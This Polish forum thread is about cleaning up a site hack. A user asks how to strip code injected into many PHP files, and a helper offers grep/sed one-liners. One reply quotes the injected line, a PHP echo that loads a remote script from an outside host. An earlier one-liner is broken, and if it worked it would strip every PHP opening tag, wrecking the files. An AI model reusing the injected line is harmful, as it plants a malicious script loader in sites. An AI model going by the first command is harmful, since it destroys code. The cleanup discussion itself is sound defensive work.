 skrypt do usuwania włamu, skrypt który wyszuka pliki z określonym stringiem i go usunie |
  |
| skrypt do usuwania włamu, skrypt który wyszuka pliki z określonym stringiem i go usunie |
Post
#1
|
|
|
Grupa: Zarejestrowani Postów: 143 Pomógł: 0 Dołączył: 9.04.2013 Ostrzeżenie: (0%) 
 |
Witam,
Mam problem z bardzo rozległym włamem. Podopisywało w plikach swoje własne <?php...".."...?> i robi brzydkie rzeczy. Pytanie do koleżanek i kolegów, czy ma koś może gotowy skrypt shelowy , który wyszuka pliki zawierajace string w katalogu i podkatalogach i usunie ten string? |
 |
 
|
|
Post
#2
|
|
|
Grupa: Zarejestrowani Postów: 8 068 Pomógł: 1414 Dołączył: 26.10.2005 Ostrzeżenie: (0%)
|
jaki string
Coś w ten deseń: Kod grep -rl --colo=none '<?php' | sed -i -e 's/<?php//g' Ale musisz przetestować i nie ręczę za rezultaty (IMG:style_emoticons/default/wink.gif) Ten post edytował Pyton_000 27.02.2015, 08:56:50 |
|
|
|
|
Post
#3
|
|
|
Grupa: Zarejestrowani Postów: 143 Pomógł: 0 Dołączył: 9.04.2013 Ostrzeżenie: (0%)
|
Dziękuję za starania.
Cały string/wstrzyknięcie to 275 linii kodu. Napisałem skrypt w php ale jakoś nie działa. Nie wiem czy przez to że muszę w stringu chaszować uszy. Na szybko wystarczyłoby mi wycięcięcie tego:
Jak by wyglądał skrytp wycinający ten string we wszystkich plikach w lokalizacji np. /var/www/ ? Czy wykonanie byłoby szybsze, gdyby najpierw wyszukał pliki z tym stringiem i tylko na nich by wycinał, bo podkatalogów i plików jest masa. |
|
|
|
|
Post
#4
|
|
|
Grupa: Zarejestrowani Postów: 8 068 Pomógł: 1414 Dołączył: 26.10.2005 Ostrzeżenie: (0%)
|
To Ci usunie podany string w katalogu z krtórego odpalisz i podkatalogach
Kod grep -rl --colo=none 'echo "<script type="text\/javascript" src="http:\/\/cvjm-wetzlar.de\/whflfcrv.php?id=12827704"><\/script>";' | xargs sed -i -e 's/echo "<script type="text\/javascript" src="http:\/\/cvjm-wetzlar.de\/whflfcrv.php?id=12827704"><\/script>";//g'
|
|
|
|
|
|
Aktualny czas: 2.10.2025 - 20:18 |
